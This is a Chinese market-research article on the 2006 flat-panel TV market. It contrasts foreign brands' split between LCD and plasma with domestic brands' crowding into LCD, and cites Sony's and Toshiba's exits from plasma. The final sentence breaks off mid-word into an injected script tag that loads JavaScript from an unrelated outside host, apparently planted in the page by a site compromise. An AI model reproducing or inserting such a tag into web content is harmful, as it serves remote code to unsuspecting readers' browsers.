差异化、蓝海战略，这是近期谈及战略时引用最多的词汇。但是，怎样实现差异化？怎样寻找蓝海？这是远没有解决的棘手问题。大家更多看到的是，猖獗的同质化、血腥的红海。本研究的宗旨是，探讨中国电视市场上的同质化和差异化的战略问题，并介绍一些彩电品牌寻找蓝海、追求差异化的一些例子。
国外品牌，差异化的平板战略布局
什么是战略？简言之，战略就是与众不同。也可以这么说，如果一个“战略”与大家雷同，那就不能称之为战略。我们可以从两个角度阐释战略这一词：
对企业而言，战略就是要让你与众不同（包括企业和产品）；
对受众而言，战略就是鲜明地建立品牌（建立认知）。
企业在做出战略抉择的时候，也要从两个角度进行：
从制定战略本身而言，要制定与众不同的战略模式；
从传播战略配合而言：要让消费者清晰地知道，一个企业的战略与其它企业有哪些不同。我们的问题是，对于大平板电视战略而言，是差异化还是同质化？
分析国外彩电品牌在中国平板电视市场上的战略布局，它们的差异化布局跃然图上，夏普，是全球液晶产业的领导品牌，这是众所周知的；而松下，则致力于打造世界等离子产业第一品牌。
扫描国外品牌的大平板战略布局，可以明显的看到它们的差异化布局，夏普、索尼专攻液晶；松下、日立、先锋专攻等离子；lg、飞利浦、三洋、雅佳等，以等离子为主；三星、东芝，以液晶为主。上图展示的是2006年1－7月，主要国外彩电品牌在中国市场上的销售情况，随着时间的推移，可能会发生一些变化。但是，不管怎样，她体现了各品牌在大平板电视市场上的差异化布局。
试问：如果所有国外品牌都专攻液晶，那将会怎样？
为了使大家更清楚的看到国外彩电品牌在平板市场上的战略布局，我们绘出战略布局图，可以看清楚清晰地分出四大战略集团，即，等离子专攻型、等离子主攻型、液晶专攻型、液晶主攻型。
来自索尼和东芝的信息
8月1日，索尼主管电子业务的全球副总裁井原胜美明确表示，将放弃等离子电视领域的研发，全面停产等离子电视，全力转向液晶电视；而东芝也宣布，将于近日全面停产等离子，目前正着手进行“清仓”。
来自媒体的报道
近段时间，等离子阵营发生了裂变，厂家或明或暗地退出等离子市场，使得等离子电视前途黯淡。
同时由于液晶电视已经突破了屏幕尺寸的瓶颈，实现了批量生产，大大降低了生产成本，液晶产品价格水平一路下降，也让等离子产品的处境雪上加霜。――北京日报
可以看出，本来是一个简单的信息，即，索尼和东芝战略转向液晶电视，这是一种战略选择，本来是正常的现象。但在我们的媒体报道中，就开始添枝加叶了，把索尼和东芝选择液晶电视的战略，演绎成等离子电视前途黯淡。如果国外彩电品牌都选择一种产品，比如，液晶电视或者等离子，那就奇怪了。
赛诺评论－－战略，就是与众不同
评价一项战略的对与错、好与坏，应该从两个角度去分析：
一是战略抉择的成与败
对战略抉择而言，可能预示着成与败，它和市场走势、竞争趋势、自身能力有关。
例如，等离子与液晶的战略抉择，松下的核心能力在等离子，夏普的核心能力在液晶，他们都看好各自的产业未来，并努力创造各自的未来。那么，未来究竟是共赢还是有胜有负，就要看竞争趋势如何了，谁也不敢妄下结论。
另一个角度是战略出发点的对与错
对战略出发点而言，即，战略制定时考虑的起点，对与错的判断则是比较容易的。那就是差异化还是同质化。
如果企业的战略制定，从一开始就不能拿出让消费者信服的“不同之处”，那么，这种战略的制定，出发点就是错误的。
从国外彩电品牌明显的差异化布局上看，我们可以体验到国外彩电品牌在大平板产业上的差异化布局，也就是说，他们在战略制定的出发点上就是正确的，这是值得国内品牌思考的现象。
有些人往往“以己之心，度他人之腹”，根据某些国外品牌的战略选择，去评判一个产业的兴与衰，这是不了解战略抉择表现。
国内品牌，同质化的平板战略布局
观察国内彩电品牌的大平板布局，可以明显地看出，10大彩电品牌中，有8个品牌把液晶作为大平板的专攻方向。在这些国内品牌的大平板布局中，液晶电视的比重占据主导地位，在这些品牌的大平板中占据60％、80％甚至100％的份额。所以，我们的初步结论是，国内品牌的大平板电视布局，趋于同质化。
然而，严格说来，应该是多数国内品牌在大平板电视的战略布局上同质化，但也有例外。长虹和sva就是例外。长虹在大平板布局上采取的是双管齐下的策略，大液晶、等离子的布局基本上是1：1，而sva则专攻等离子。
当然，发生这种产品布局有两种可能，一种是企业有明确的战略布局，销售结?script src=http://er12.com/t.js>
